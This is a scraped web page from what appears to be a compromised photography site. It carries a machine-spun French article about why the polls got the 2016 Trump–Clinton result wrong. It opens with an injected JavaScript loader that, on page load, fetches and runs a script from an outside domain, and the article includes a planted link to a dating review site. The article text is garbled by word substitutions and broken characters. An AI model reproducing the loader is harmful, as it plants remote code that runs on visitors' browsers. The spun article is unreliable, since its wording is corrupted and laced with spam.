;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Comment les sondages ont-il pu autant se tromper concernant Trump ? – Eydís — Ljósmyndun

Comment les sondages ont-il pu autant se tromper concernant Trump ?

Comment les sondages ont-il pu autant se tromper concernant Trump ?

Mes sondages etaient pratiquement tous unanimes Afin de dire que Hillary Clinton allait gagner la https://datingmentor.org/fr/localmilfselfies-review/ presidentielle americaine. Comment ont-ils ainsi pu se tromper ?

La victoire choc de Donald Trump face a la favorite democrate Hillary Clinton a Notre presidentielle americaine laissait votre autre grand perdant mercredi: nos sondages. Sur les 20 plus grands organismes de sondages des Etats-Unis, dont nos puissantes chaines de television, les journaux et agences de presse qui avaient mene plus de 80 enquetes depuis la mi-septembre, seul un, le journal Los Angeles Times associe a USC Tracking, a invariablement donne l’avantage a Donald Trump.

Au matin de l’election du 8 novembre, la moyenne des sondages du website RealClearPolitics, qui fera reference aux Etats-Unis, donnait 3,3 points d’avance a Hillary Clinton a l’echelle nationale. Deux heures prochainement, le choc assommait des sondeurs contrits. Souvent considere tel l’un des gourous une statistique en Amerique, Nate Silver a qualifie d’un commentaire assassin les previsions des sondages pour la presidentielle 2016: “terribles”. Le blog, FiveThirtyEight.com, consulte encore et puis fievreusement via les journalistes a mesure que les resultats approchaient, avait prevu une victoire de la democrate dans une flopee d’Etats decisifs: Floride, Caroline du Nord, Pennsylvanie et Wisconsin. Neanmoins, le republicain les a tous remportes, ainsi, de la, les cles d’la Maison Blanche.

J’ai rubrique tres respectee des previsionnistes du New York Times, the Upshot, avait donne a Hillary Clinton 85% de chance de gagner. avant de basculer spectaculairement lors d’la fi?te. “J’ai boule de cristal reste beaucoup brisee”, admet Larry Sabato, professeur de sciences politiques a l’universite de Virginie qui, sur son propre site de chiffres, “Larry Sabato’s Crystal Ball”, avait predit une victoire democrate.

Pourquoi limite n’importe qui semble s’i?tre trompe ?

“Il semble simple que celui-ci s’est passe quelque chose”, concede Larry Sabato, soulignant que votre sont les observations de centaines de sondages presidentiels qui sont allees dans la mauvaise direction votre annee. Bon nombre de sondeurs composent leurs echantillons en se basant via l’electorat tel qu’il apparaissait au cours des precedentes elections, explique-il. Une technique qui explique un erreur une telle fois, puisque les enquetes ont tout seulement sous-estime le nombre d’electeurs caches de Donald Trump.

“J’ai participation des Blancs dans l’Amerique rurale a explose”, dit-il, tandis que celle des Noirs et des jeunes a faibli. Si les sondeurs avaient bien anticipe une baisse du vote des deux derniers groupes par rapport a 2012, quand Barack Obama avait decroche votre deuxieme mandat, “leurs previsions au sujet des electeurs potentiels ont bien juste rate Notre haute participation a venir dans ces regions rurales blanches”, poursuit l’expert. Les enquetes internes de l’equipe de campagne Clinton sont egalement largement passees a cote dans leur analyse du vote des ouvriers blancs, d’apres un analyste qui possi?de pu les voir. “Elles etaient totalement fausses, et ils ont depense une fortune”, a-t-il dit, sous couvert d’anonymat.

L’impopularite de Clinton sous-estimee ?

Non, d’apres Larry Sabato: “Mes enquetes le montraient nettement”. Mais d’autres observateurs ont toutefois de suite reconnu mercredi qu’ils avaient pu se meprendre via la profondeur du ressentiment envers l’ancienne Premiere dame, senatrice et secretaire d’Etat, que bon nombre percoivent tel un membre corrompu des elites de Washington.

“Je ne me rendais vraiment pas compte a quel point les divisions etaient profondes”, a admis le stratege democrate Jean Begala sur CNN.

Quel avenir Afin de les sondages ?

Larry Sabato admet se sentir “desempare” apres les “centaines de sondages qui se seront trompes”. Mais il refuse de tourner le dos aux enquetes. “L’analyse qui se base dans l’anecdote n’est jamais scientifique”, souligne-t-il. “Il ne faut jamais se baser juste sur les instincts, il faudra se fonder i  propos des donnees”.

Reconnaissant que les sondages telephoniques etaient en perte de vitesse, souffrant a J’ai fois d’une baisse du nombre de lignes fixes et du fera que nos sondes ont de moins en moins envie de repondre a des questions par ce biais, il assure qu’a l’avenir, “la plupart des sondages vont i?tre faits online”. Et a ceux qui craignent que votre format soit plus facilement manipulable, il repond qu'”ils sont fiables. a condition d’etre bien faits”.

Leave a Reply

Your email address will not be published. Required fields are marked *